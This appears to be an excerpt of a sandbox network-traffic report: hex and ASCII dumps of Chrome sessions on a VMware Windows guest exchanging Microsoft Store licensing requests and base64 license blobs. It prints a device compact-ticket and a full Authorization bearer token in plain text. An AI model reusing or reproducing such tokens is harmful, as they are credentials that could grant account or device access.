33 4e 76 59 32 6c 68 64 47 56 6b 55 45 5a 4f 63 7a 35 4e 61 57 4e 79 62 33 4e 76 5a 6e 51 75 56 32 6c 75 5a 47 39 33 
63 79 35 51 61 47 39 30 62 33 4e 66 4f 48 64 6c 61 33 6c 69 4d 32 51 34 59 6d 4a 33 5a 54 77 76 51 58 4e 7a 62 32 4e 
70 59 58 52 6c 5a 46 42 47 54 6e 4d 2b 50 45 78 6c 59 58 4e 6c 55 6d 56 75 
Data Ascii: TllYTYiIFZlcnNpb249IjUiIHhtbG5zPSJ1cm46c2NoZW1hcy1taWNyb3NvZnQtY29tOndpbmRvd3M
6c3RvcmU6bGljZW5zaW5nOmxzIj48QmluZGluZyBCaW5kaW5nX1R5cGU9Ik1hY2hpbmUiPjxBc3NvY2lhdGVkUEZOc
z5NaWNyb3NvZnQuV2luZG93cy5QaG90b3NfOHdla3liM2Q4YmJ3ZTwvQXNzb2NpYXRlZFBGTnM+PExlYXNlUmVu

2022-07-01 09:01:22 UTC 2089 IN Data Raw: 57 74 6e 4d 45 70 75 54 6e 4a 6b 56 57 78 72 55 46 52 42 64 30 31 55 51 57 6c 4d 51 30 70 79 57 6c 68 73 
53 6c 70 49 54 57 6c 50 62 48 4e 70 54 57 70 46 4d 56 70 71 61 7a 4e 4e 56 45 6c 30 54 31 64 61 61 6c 6c 54 4d 57 68 
4e 4d 6c 6b 30 54 46 52 57 61 55 31 55 52 58 52 4f 61 6c 6c 33 57 6c 64 57 62 56 6c 36 59 33 70 5a 61 6d 73 79 53 57 7
7 77 63 30 6c 74 64 48 42 69 62 56 46 70 54 32 6c 4b 52 47 49 79 4e 54 42 61 56 7a 55 77 53 57 6c 33 61 57 4e 48 52 
6d 70 68 4d 6b 5a 75 57 6c 68 4e 61 55 39 73 64 44 64 4a 62 6b 4a 6f 57 54 4a 30 61 46 6f 79 56 6b 70 61 52 31 5a 31 
5a 45 64 73 62 57 46 58 56 6e 6c 4a 61 6d 39 70 54 6c 52 56 4e 46 70 71 56 6d 74 4e 65 6b 6c 30 54 55 52 6e 65 55 35 
35 4d 57 78 5a 61 6d 52 70 54 46 52 61 61 46 70 45 57 58 52 61 52 46 5a 72 
Data Ascii: WtnMEpuTnJkVWxrUFRBd01UQWlMQ0pyWlhsSlpITWlPbHNpTWpFMVpqazNNVEl0T1daallTMWhNMlk
0TFRWaU1URXROall3WldWbVl6Y3pZamsySWwwc0ltdHBibVFpT2lKRGIyNTBaVzUwSWl3aWNHRmphMkZ
uWlhNaU9sdDdJbkJoWTJ0aFoyVkpaR1Z1ZEdsbWFXVnlJam9pTlRVNFpqVmtNekl0TURneU55MWxZamR
pTFRaaFpEWXRaRFZr

2022-07-01 09:01:22 UTC 2090 IN Data Raw: 31 68 75 4f 56 42 49 54 33 6c 51 5a 31 46 74 59 56 4a 49 64 45 77 32 4d 7a 4e 75 63 58 52 72 51 31 68 76 4f 
45 31 35 5a 7a 4a 57 65 44 68 5a 55 54 56 73 4d 58 52 76 4d 6d 68 46 57 45 46 6e 50 54 77 76 55 31 42 4d 61 57 4e 6c 
62 6e 4e 6c 51 6d 78 76 59 32 73 2b 50 46 4e 70 5a 32 35 68 64 48 56 79 5a 53 42 34 62 57 78 75 63 7a 30 69 61 48 52 
30 63 44 6f 76 4c 33 64 33 64 79 35 33 4d 79 35 76 63 6d 63 76 4d 6a 41 77 4d 43 38 77 4f 53 39 34 62 57 78 6b 63 32 6
c 6e 49 79 49 2b 50 46 4e 70 5a 32 35 6c 5a 45 6c 75 5a 6d 38 2b 50 45 4e 68 62 6d 39 75 61 57 4e 68 62 47 6c 36 59 
58 52 70 62 32 35 4e 5a 58 52 6f 62 32 51 67 51 57 78 6e 62 33 4a 70 64 47 68 74 50 53 4a 6f 64 48 52 77 4f 69 38 76 
64 33 64 33 4c 6e 63 7a 4c 6d 39 79 5a 79 38 79 4d 44 41 78 4c 7a 45 77 
Data Ascii: 1huOVBIT3lQZ1FtYVJIdEw2MzNucXRrQ1hvOE15ZzJWeDhZUTVsMXRvMmhFWEFnPTwvU1BMaWNlbnN
lQmxvY2s+PFNpZ25hdHVyZSB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC8wOS94bWxkc2lnIyI+PFNpZ25lZ
EluZm8+PENhbm9uaWNhbGl6YXRpb25NZXRob2QgQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxLzEw

2022-07-01 09:01:22 UTC 2091 IN Data Raw: 31 4a 30 62 7a 52 7a 65 45 52 5a 4e 7a 6b 30 64 47 70 69 51 55 6c 72 62 31 6f 31 4b 31 56 54 51 55 6c 76 4d 
32 78 32 65 6c 52 4c 53 7a 46 77 54 55 5a 59 63 45 46 4a 52 58 46 58 5a 55 39 78 51 6b 39 72 4d 6a 4e 4e 4e 6d 35 4a 
5a 32 35 33 53 6b 52 49 62 46 52 6a 56 57 56 57 53 45 39 6a 4d 55 39 58 56 33 6c 4c 56 32 78 46 51 57 5a 5a 56 45 35 
71 62 7a 42 4c 53 57 46 69 56 56 68 72 54 54 67 72 64 33 4e 4e 59 7a 5a 45 57 54 68 76 63 6c 52 50 65 6c 67 33 54 30 
74 75 57 56 6f 31 51 32 38 31 4e 31 4a 4a 4d 48 46 35 4e 55 39 31 65 58 4a 6f 61 47 78 53 63 6c 42 35 53 6d 46 4c 62 
30 64 30 56 6e 45 78 61 47 63 78 55 55 52 33 65 6e 68 68 56 6b 70 61 62 6e 46 6c 54 6e 63 39 50 54 77 76 55 32 6c 6e 
62 6d 46 30 64 58 4a 6c 56 6d 46 73 64 57 55 2b 50 45 74 6c 65 55 6c 75 
Data Ascii: 1J0bzRzeERZNzk0dGpiQUlrb1o1K1VTQUlvM2x2elRLSzFwTUZYcEFJRXFXZU9xQk9rMjNNNm5JZ25
3SkRIbFRjVWVWSE9jMU9XV3lLV2xFQWZZVE5qbzBLSWFiVVhrTTgrd3NNYzZEWThvclRPelg3T0tuWVo1Q281N1JJM
HF5NU91eXJoaGxSclB5SmFLb0d0VnExaGcxUUR3enhhVkpabnFlTnc9PTwvU2lnbmF0dXJlVmFsdWU+PEtleUlu

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

117 192.168.2.5 49883 20.199.120.151 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:01:22 UTC 2092 OUT Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 31 35 62 66 31 31 39 38 64 34 65 
30 32 33 62 0d 0a 0d 0a 
Data Ascii: CNT 1 CON 246Context: c15bf1198d4e023b

2022-07-01 09:01:22 UTC 2092 OUT Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 
6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 
6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 
34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 
76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 
61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e 
Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc>
<lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</
deviceName></agent></connect>
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2022-07-01 09:01:22 UTC 2092 OUT Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 32 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 31 35 62 
66 31 31 39 38 64 34 65 30 32 33 62 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 
3e 74 3d 45 77 43 77 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 
62 6d 51 41 41 66 67 54 2f 37 30 52 32 76 44 6f 6a 4d 61 68 74 49 4e 66 45 44 49 77 65 37 44 41 45 63 6f 54 58 78 79 3
8 4f 42 65 43 7a 41 4c 4f 55 74 58 2b 42 6f 63 75 74 45 55 70 34 45 4e 49 43 39 37 56 74 43 59 72 36 78 44 6e 59 69 72 
38 49 38 62 30 37 47 53 38 44 67 6e 33 31 33 58 33 38 70 61 6a 4c 47 73 31 66 6f 79 70 46 4e 6e 55 73 41 47 54 45 69 
61 55 59 43 65 71 63 30 39 48 4e 33 39 50 67 5a 61 58 61 35 4d 76 6e 
Data Ascii: ATH 2 CON\DEVICE 1026Context: c15bf1198d4e023b<device><compact-ticket>t=EwCwAupIBAAU1bDG
fdaziDfXpjN5N6cYhT1wbmQAAfgT/70R2vDojMahtINfEDIwe7DAEcoTXxy8OBeCzALOUtX+BocutEUp4ENIC97VtC
Yr6xDnYir8I8b07GS8Dgn313X38pajLGs1foypFNnUsAGTEiaUYCeqc09HN39PgZaXa5Mvn

2022-07-01 09:01:22 UTC 2093 OUT Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 32 39 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 31 35 62 66 31 31 39 38 
64 34 65 30 32 33 62 0d 0a 0d 0a 
Data Ascii: BND 3 CON\QOS 29Context: c15bf1198d4e023b

2022-07-01 09:01:22 UTC 2093 IN Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a 
Data Ascii: 202 1 CON 58

2022-07-01 09:01:22 UTC 2094 IN Data Raw: 4d 53 2d 43 56 3a 20 31 57 56 33 69 48 68 57 59 30 79 6f 64 6e 6a 48 41 42 2b 63 4b 41 2e 30 0d 0a 0d 0a 
50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e 
Data Ascii: MS-CV: 1WV3iHhWY0yodnjHAB+cKA.0Payload parsing failed.

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

118 192.168.2.5 49885 20.123.104.105 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:01:23 UTC 2094 OUT POST /v7.0/licenses/content HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json; charset=utf-8
Authorization: t=EwCoBF8iAQAUkOrzy5O8+zKmOLh4X1kZomC7Ye8AAXIEoR7zVBsigo9+ELiiOPQgXNnqxslE8
JGHvlJPLIUUKouiwbgUni88ojzdGkdqFYYxxM5X9Ms5ydSvJFd3DZPMh0fLqF+d6noF2yzw2kJ7MwjAqWkQK0UX/a2
X3ShCSw11oNjoZpYc16pKFSkiL1guCryQknhJFxUNvpcM/mUO4J45kW/UANpVJMg9gDEiHFbRMPVe4XwtYHsROYOhh
Wh/1ix6VL6WuHyfvlkfekuIUUqh1k5GyjH1OMI7ATpSB8ZlpG7DvmA3TMU3Avh/Kyp20u4YfE7FQeZk27MtQODcOqx
r47CWO34DzhVOwzM6ckzQAjwiuN4oCNPUinxYaD0DZgAACCrsBL0oic4EeAOxmnWWC6VaWWaLWlPjwhzf4JoklMOzh
LlxAXqZ23+nx5n2ghWbB319xUQ3gAHi3vutcxW0EYu4MoFf+3kVo1VdxJihYML7fchf2azHMJStufF7tKl11N72gUB
sJi5iZnOXwfiB7B4lKYh3x5vZ2KfPdIQStUnZOBptzrf7x9RPD8cDFe3o++PVGJsK8Jb2tq3kr+aeLhzm6Id/kr4ZH
PHmS3ldf61PYLln9fL17+PWsOsDHkz7/Rl0+eJgZtP1dgC3Vu5dOF0ACzpt4zvm3HqYlTsG16p6VMyOYHZrX2KJdif
VOH7f5OVMjlGaj1tZF9GhBm752zHRZqQQkTMB4R+Nz1RDhkRmcRRnI9JO7BgjQPwOFZSe8xBvKNrcPLP
5ARJ+GJWSS5xjFAVxT6uAZU6MwHnGrgT4x+vlMWUJxDsAx5/JKY5/EF219tMGD8hQCSb+fb9BYFL3F/aagO162MKam
bsxMIrRucH374Xi4bDQj7VBOPrBWkuclUT148aGjNJYqtpiMS/CiRaXz+Ds/pTq2P6mniYMoIwVB14Ps6wwnJ7RAlS
tc2SEkcWZV3Tio45sCxl9Zv9vuHmKEnXU7PuS7sG3zVsKVc12aop7rUVT8EQGh0jDTpl80tIrJMRQfVvKwNlG8xLTR
T2bxdMM1RPSvLRZ0doPPBQ3xLXWQ3AOCEyFyjQ/3hYO1b2xE2a+Dswj3BOIQDshGKECzOKyj2OdWRMnLy8otyr8IAf
u3uGmgVPtbCFfgKzSvpCybywmW989QKSTFu7Xrn7DLafyfCoTZJfDD7fkjkVirFvnQPIUInsun19F2pNKrMq1KUwFz
u8mZkEDqtnjX6LEawC9VA62+L/kyJdSzdwQNJBD1ewtgiQX0Lu/9d9/R0AgVII3uTtGH5CloikBHjbJhfFY7Co6uZe
ZOKIL/9qmVDSc7ff3xKZQJAKLas3lHwfAKBvefbIQ9FzAKvSiqq+hbWggytvlVxJr8fM88U3K/WlkXyvavlNwqIZuU
m7uQ4szU1RF6ZfgnjC5jF1x4tKS1UK/+vxQ9XblOb3PX59I7PdoyRyFpdfPtDTGTIut8eygNRhAKN1krjohs2/yTrO
dj6AbKvNsNeUXEHVkksCLA71M2H9ls/e0KWUp8HWM22VCicNvgzoiFBn/5mw21CbanZYybAyWwpzHha4+PUKdAw==&
p=
User-Agent: LM
MS-CV: UznHpAHqV0GMBdER.6
Content-Length: 4373
Host: licensing.mp.microsoft.com

2022-07-01 09:01:23 UTC 2095 OUT Data Raw: 7b 22 63 6c 69 65 6e 74 43 68 61 6c 6c 65 6e 67 65 22 3a 22 50 44 39 34 62 57 77 67 64 6d 56 79 63 32 6c 
76 62 6a 30 69 4d 53 34 77 49 69 42 6c 62 6d 4e 76 5a 47 6c 75 5a 7a 30 69 64 58 52 6d 4c 54 67 69 49 44 38 2b 50 45 
4e 73 61 57 56 75 64 45 4e 6f 59 57 78 73 5a 57 35 6e 5a 53 42 34 62 57 78 75 63 7a 70 34 63 32 6b 39 49 6d 68 30 64 
48 41 36 4c 79 39 33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 
4c 57 6c 75 63 33 52 68 62 6d 4e 6c 49 69 42 34 62 57 78 75 63 7a 70 34 63 32 51 39 49 6d 68 30 64 48 41 36 4c 79 39 
33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 49 69 42 34 62 57 
78 75 63 7a 30 69 61 48 52 30 63 44 6f 76 4c 33 4e 6a 61 47 56 74 59 58 4d 
Data Ascii: {"clientChallenge":"PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiID8+PENsaWVudENoYWxs
ZW5nZSB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4bWxuczp4c2
Q9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIiB4bWxucz0iaHR0cDovL3NjaGVtYXM

2022-07-01 09:01:23 UTC 2100 IN HTTP/1.1 200 OK
Connection: close
Date: Fri, 01 Jul 2022 09:01:23 GMT
Content-Type: application/json; charset=utf-8
Server: Kestrel
Content-Length: 8295
MS-CorrelationId: cf101faf-09ab-484c-8675-ea16fd7b9b38
MS-RequestId: 3386fdfc-2bd1-4cbb-8fc1-c25daadc5e76
MS-CV: UznHpAHqV0GMBdER.6.1530938785.0.0
X-Content-Type-Options: nosniff
MS-ServerId: ent-bc5c55848-j8qrv
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2022-07-01 09:01:23 UTC 2100 IN Data Raw: 7b 22 6c 69 63 65 6e 73 65 22 3a 7b 22 6b 65 79 73 22 3a 5b 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 64 
72 6d 54 79 70 65 22 3a 22 4d 6b 6d 73 22 2c 22 6b 65 79 49 64 22 3a 22 32 35 64 30 32 65 65 32 2d 36 34 35 37 2d 63 
33 37 31 2d 39 63 37 35 2d 63 66 30 39 32 39 62 36 34 34 39 65 22 7d 2c 22 76 61 6c 75 65 22 3a 22 50 45 78 70 59 32 
56 75 63 32 55 67 65 47 31 73 62 6e 4d 36 65 48 4e 6b 50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 
6d 39 79 5a 79 38 79 4d 44 41 78 4c 31 68 4e 54 46 4e 6a 61 47 56 74 59 53 49 67 65 47 31 73 62 6e 4d 36 65 48 4e 70 
50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 6d 39 79 5a 79 38 79 4d 44 41 78 4c 31 68 4e 54 46 4e 
6a 61 47 56 74 59 53 31 70 62 6e 4e 30 59 57 35 6a 5a 53 49 67 53 55 51 39 
Data Ascii: {"license":{"keys":[{"metadata":{"drmType":"Mkms","keyId":"25d02ee2-6457-c371-9c75-cf0929b6449e"},
"value":"PExpY2Vuc2UgeG1sbnM6eHNkPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYSIgeG1sbnM6e
HNpPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYS1pbnN0YW5jZSIgSUQ9

2022-07-01 09:01:23 UTC 2101 IN Data Raw: 43 39 4d 59 58 4e 30 56 58 42 6b 59 58 52 6c 52 47 46 30 5a 54 34 38 51 6d 56 6e 61 57 35 45 59 58 52 6c 
50 6a 49 77 4d 6a 49 74 4d 44 63 74 4d 44 46 55 4d 44 6b 36 4d 44 45 36 4d 6a 4d 75 4d 7a 51 78 4e 7a 59 34 4e 6c 6f 
38 4c 30 4a 6c 5a 32 6c 75 52 47 46 30 5a 54 34 38 4c 30 78 70 59 32 56 75 63 32 56 4a 62 6d 5a 76 50 6a 78 44 64 58 
4e 30 62 32 31 51 62 32 78 70 59 32 6c 6c 63 7a 35 6c 65 55 70 7a 57 6c 64 6b 61 46 6b 7a 62 46 46 6a 62 54 6c 72 5a 
46 64 4f 4d 46 4e 58 55 57 6c 50 61 55 6b 30 54 6d 70 72 4e 55 31 45 56 54 4e 4f 55 7a 46 6f 54 6b 52 72 4d 45 78 55 55 
54 4a 5a 56 45 46 30 57 56 52 57 61 31 6c 35 4d 44 42 4f 61 6b 46 35 54 6d 70 4a 4d 30 31 71 5a 7a 52 61 52 47 4e 70 
5a 6c 45 39 50 54 77 76 51 33 56 7a 64 47 39 74 55 47 39 73 61 57 4e 70 
Data Ascii: C9MYXN0VXBkYXRlRGF0ZT48QmVnaW5EYXRlPjIwMjItMDctMDFUMDk6MDE6MjMuMzQxNzY4Nlo8L0J
lZ2luRGF0ZT48L0xpY2Vuc2VJbmZvPjxDdXN0b21Qb2xpY2llcz5leUpzWldkaFkzbFFjbTlrZFdOMFNXUWlPaUk0T
mprNU1EVTNOUzFoTkRrMExUUTJZVEF0WVRWa1l5MDBOakF5TmpJM01qZzRaRGNpZlE9PTwvQ3VzdG9tU
G9saWNp

2022-07-01 09:01:23 UTC 2102 IN Data Raw: 33 4a 70 64 47 68 74 50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 6d 39 79 5a 79 38 79 4d 
44 41 78 4c 7a 41 30 4c 33 68 74 62 47 52 7a 61 57 63 74 62 57 39 79 5a 53 4e 79 63 32 45 74 63 32 68 68 4d 6a 55 32 
49 69 41 76 50 6a 78 53 5a 57 5a 6c 63 6d 56 75 59 32 55 67 56 56 4a 4a 50 53 49 69 50 6a 78 55 63 6d 46 75 63 32 5a 
76 63 6d 31 7a 50 6a 78 55 63 6d 46 75 63 32 5a 76 63 6d 30 67 51 57 78 6e 62 33 4a 70 64 47 68 74 50 53 4a 6f 64 48 
52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 6d 39 79 5a 79 38 79 4d 44 41 77 4c 7a 41 35 4c 33 68 74 62 47 52 7a 61 
57 63 6a 5a 57 35 32 5a 57 78 76 63 47 56 6b 4c 58 4e 70 5a 32 35 68 64 48 56 79 5a 53 49 67 4c 7a 34 38 4c 31 52 79 
59 57 35 7a 5a 6d 39 79 62 58 4d 2b 50 45 52 70 5a 32 56 7a 64 45 31 6c 
Data Ascii: 3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxLzA0L3htbGRzaWctbW9yZSNyc2Etc2hhMjU2IiA
vPjxSZWZlcmVuY2UgVVJJPSIiPjxUcmFuc2Zvcm1zPjxUcmFuc2Zvcm0gQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczL
m9yZy8yMDAwLzA5L3htbGRzaWcjZW52ZWxvcGVkLXNpZ25hdHVyZSIgLz48L1RyYW5zZm9ybXM+PERpZ2VzdE1l

2022-07-01 09:01:23 UTC 2103 IN Data Raw: 44 56 6a 4d 7a 4d 77 49 6a 34 38 53 32 56 35 56 6d 46 73 64 57 55 2b 50 46 4a 54 51 55 74 6c 65 56 5a 68 
62 48 56 6c 50 6a 78 4e 62 32 52 31 62 48 56 7a 50 6d 39 57 55 30 70 59 53 58 52 45 63 32 46 42 53 57 5a 33 65 56 49 
35 59 6d 68 6f 4c 31 70 54 63 48 42 44 51 55 38 72 61 57 34 35 55 45 39 4d 56 32 52 44 4d 69 39 55 55 57 39 6b 5a 32 
56 49 57 6e 70 69 5a 45 4a 32 65 45 70 32 53 32 68 77 59 6e 4a 78 4e 6c 70 51 4d 45 5a 7a 55 30 56 73 54 48 64 53 62 
30 78 42 62 58 59 33 65 6b 6c 31 56 6e 63 7a 56 6d 49 33 64 47 5a 52 64 44 56 69 61 6b 4e 45 53 46 4a 42 52 7a 6c 6d 
5a 58 4e 4f 62 46 6c 4c 56 6a 4e 35 59 6e 6c 4f 63 6b 68 35 65 6d 64 73 5a 6c 70 51 55 6b 49 31 56 55 70 61 64 7a 4d 
79 65 57 6b 77 4d 33 70 52 59 53 74 4d 54 47 45 77 4e 57 5a 71 63 7a 5a 71 
Data Ascii: DVjMzMwIj48S2V5VmFsdWU+PFJTQUtleVZhbHVlPjxNb2R1bHVzPm9WU0pYSXREc2FBSWZ3eVI5Ymh
oL1pTcHBDQU8raW45UE9MV2RDMi9UUW9kZ2VIWnpiZEJ2eEp2S2hwYnJxNlpQMEZzU0VsTHdSb0xBbXY3ekl1VnczV
mI3dGZRdDViakNESFJBRzlmZXNObFlLVjN5YnlOckh5emdsZlpQUkI1VUpadzMyeWkwM3pRYStMTGEwNWZqczZq

2022-07-01 09:01:23 UTC 2104 IN Data Raw: 6a 34 38 51 6d 6c 75 5a 47 6c 75 5a 79 42 43 61 57 35 6b 61 57 35 6e 58 31 52 35 63 47 55 39 49 6b 31 68 
59 32 68 70 62 6d 55 69 50 6a 78 45 5a 58 5a 70 59 32 56 4a 52 44 35 45 4e 45 49 78 4e 30 51 30 51 7a 41 33 4e 44 41 
78 4f 44 41 77 50 43 39 45 5a 58 5a 70 59 32 56 4a 52 44 34 38 51 58 4e 7a 62 32 4e 70 59 58 52 6c 5a 46 42 47 54 6e 
4d 2b 61 32 6c 75 5a 79 35 6a 62 32 30 75 51 32 46 75 5a 48 6c 44 63 6e 56 7a 61 46 4e 68 5a 32 46 66 61 32 64 78 64 
6d 35 35 62 58 6c 6d 64 6e 4d 7a 4d 6a 77 76 51 58 4e 7a 62 32 4e 70 59 58 52 6c 5a 46 42 47 54 6e 4d 2b 50 45 78 6c 
59 58 4e 6c 55 6d 56 75 5a 58 64 68 62 46 42 6c 63 6d 6c 76 5a 44 34 79 4d 44 45 32 4d 44 77 76 54 47 56 68 63 32 56 
53 5a 57 35 6c 64 32 46 73 55 47 56 79 61 57 39 6b 50 6a 77 76 51 6d 6c 75 
Data Ascii: j48QmluZGluZyBCaW5kaW5nX1R5cGU9Ik1hY2hpbmUiPjxEZXZpY2VJRD5ENEIxN0Q0QzA3NDAxODA
wPC9EZXZpY2VJRD48QXNzb2NpYXRlZFBGTnM+a2luZy5jb20uQ2FuZHlDcnVzaFNhZ2Ffa2dxdm55bXlmdnMzMjwvQ
XNzb2NpYXRlZFBGTnM+PExlYXNlUmVuZXdhbFBlcmlvZD4yMDE2MDwvTGVhc2VSZW5ld2FsUGVyaW9kPjwvQmlu

2022-07-01 09:01:23 UTC 2105 IN Data Raw: 54 42 4d 56 47 52 6f 54 54 4a 53 61 46 70 45 61 47 6c 50 56 30 6b 31 54 30 4e 61 62 47 4a 75 55 6e 42 6b 52 
33 68 73 59 6c 64 57 64 57 52 46 62 47 74 51 56 31 46 35 54 57 31 4a 4e 45 39 55 54 6d 70 5a 56 46 56 33 54 31 52 43 
61 30 35 55 51 58 64 4f 52 46 6b 79 54 56 52 56 4e 45 35 71 51 58 70 4f 65 6d 63 31 54 6b 52 5a 4e 45 70 74 4d 57 68 
6a 62 58 52 73 5a 45 51 78 56 6c 56 35 57 6e 64 69 4d 6e 68 77 57 54 4e 73 56 57 56 59 51 6d 78 51 56 56 4a 73 5a 47 
31 73 61 6c 70 54 53 58 4e 4a 62 58 52 73 5a 56 56 73 61 32 4e 35 53 54 5a 58 65 55 6c 35 54 6c 64 52 64 30 31 74 56 
6d 78 4e 61 54 41 79 54 6b 52 56 4d 30 78 58 54 58 70 4f 65 6b 56 30 54 31 64 4e 4d 30 35 54 4d 57 70 61 61 6b 45 31 
54 57 70 73 61 55 35 71 55 54 42 50 56 31 56 70 57 46 4e 33 61 57 45 79 
Data Ascii: TBMVGRoTTJSaFpEaGlPV0k1T0NabGJuUnBkR3hsYldWdWRFbGtQV1F5TW1JNE9UTmpZVFV3T1RCa05
UQXdORFkyTVRVNE5qQXpOemc1TkRZNEptMWhjbXRsZEQxVlV5WndiMnhwWTNsVWVYQmxQVVJsZG1salp
TSXNJbXRsZVVsa2N5STZXeUl5TldRd01tVmxNaTAyTkRVM0xXTXpOekV0T1dNM05TMWpaakE1TWpsaU5
qUTBPV1VpWFN3aWEy

2022-07-01 09:01:23 UTC 2106 IN Data Raw: 30 6c 42 51 55 46 42 51 6b 46 4a 5a 58 49 35 63 48 42 76 62 48 52 79 61 43 74 46 51 30 73 77 55 58 4a 4e 
51 55 78 77 57 6a 46 33 4c 32 74 43 57 45 6f 35 4e 48 64 53 63 55 78 53 63 30 6c 31 61 46 68 44 4d 48 64 42 51 55 46 
42 55 55 46 42 51 55 52 71 54 45 35 47 61 58 70 42 51 55 46 42 52 56 46 42 51 55 46 42 51 6b 46 42 53 55 46 53 52 55 
55 34 55 7a 68 50 5a 47 73 72 59 32 74 6c 57 6b 56 48 56 55 6b 7a 64 6e 70 79 57 54 42 52 4d 47 74 69 4d 47 39 77 4e 
31 70 55 56 30 56 46 64 57 45 72 59 6b 59 78 54 54 64 71 55 32 67 33 4c 7a 51 34 63 47 6f 72 55 56 6c 44 4e 31 56 59 
4e 56 52 68 61 30 39 6b 65 44 4a 6a 65 55 70 51 54 44 52 69 51 32 68 42 52 47 49 79 64 6e 56 33 5a 7a 30 39 50 43 39 
54 55 45 78 70 59 32 56 75 63 32 56 43 62 47 39 6a 61 7a 34 38 55 32 6c 6e 
Data Ascii: 0lBQUFBQkFJZXI5cHBvbHRyaCtFQ0swUXJNQUxwWjF3L2tCWEo5NHdScUxSc0l1aFhDMHdBQUFBUUF
BQURqTE5GaXpBQUFBRVFBQUFBQkFBSUFSRUU4UzhPZGsrY2tlWkVHVUkzdnpyWTBRMGtiMG9wN1pUV0V
FdWErYkYxTTdqU2g3LzQ4cGorUVlDN1VYNVRha09keDJjeUpQTDRiQ2hBRGIydnV3Zz09PC9TUExpY2Vuc2VCbG9ja
z48U2ln

2022-07-01 09:01:23 UTC 2107 IN Data Raw: 6b 64 6f 59 7a 42 4c 56 6c 42 4f 4e 56 42 30 5a 6a 55 31 62 46 56 6c 51 6b 31 4e 52 48 46 31 56 6b 68 4f 57 
47 39 58 4e 6d 4a 71 56 32 35 4f 64 6e 59 79 56 6e 4e 52 52 33 68 48 64 6b 52 61 52 7a 4a 55 54 33 70 6c 4e 7a 59 76 
55 33 42 77 4e 46 52 55 63 79 39 77 56 6b 5a 53 56 30 39 6a 4e 45 39 77 64 7a 42 47 56 48 4a 59 52 6e 64 70 62 47 45 
32 54 48 64 4d 64 30 30 76 61 46 4e 31 5a 32 4e 46 54 6b 46 30 5a 55 78 56 57 6b 78 76 61 6d 5a 70 4e 33 4a 54 54 6d 
31 72 55 58 4a 78 5a 32 4e 55 55 47 56 71 5a 46 4a 36 4d 7a 6c 30 55 6a 56 4f 4d 30 56 6b 52 48 55 34 4f 56 6c 34 52 
30 51 33 57 45 4d 76 63 54 45 31 53 6e 42 58 5a 46 42 6e 62 32 56 30 55 6b 78 30 57 47 74 6b 55 6b 74 47 57 44 46 78 
65 56 70 58 53 57 35 44 56 48 67 32 59 69 73 34 4d 48 5a 6e 64 46 56 5a 
Data Ascii: kdoYzBLVlBONVB0ZjU1bFVlQk1NRHF1VkhOWG9XNmJqV25OdnYyVnNRR3hHdkRaRzJUT3plNzYvU3B
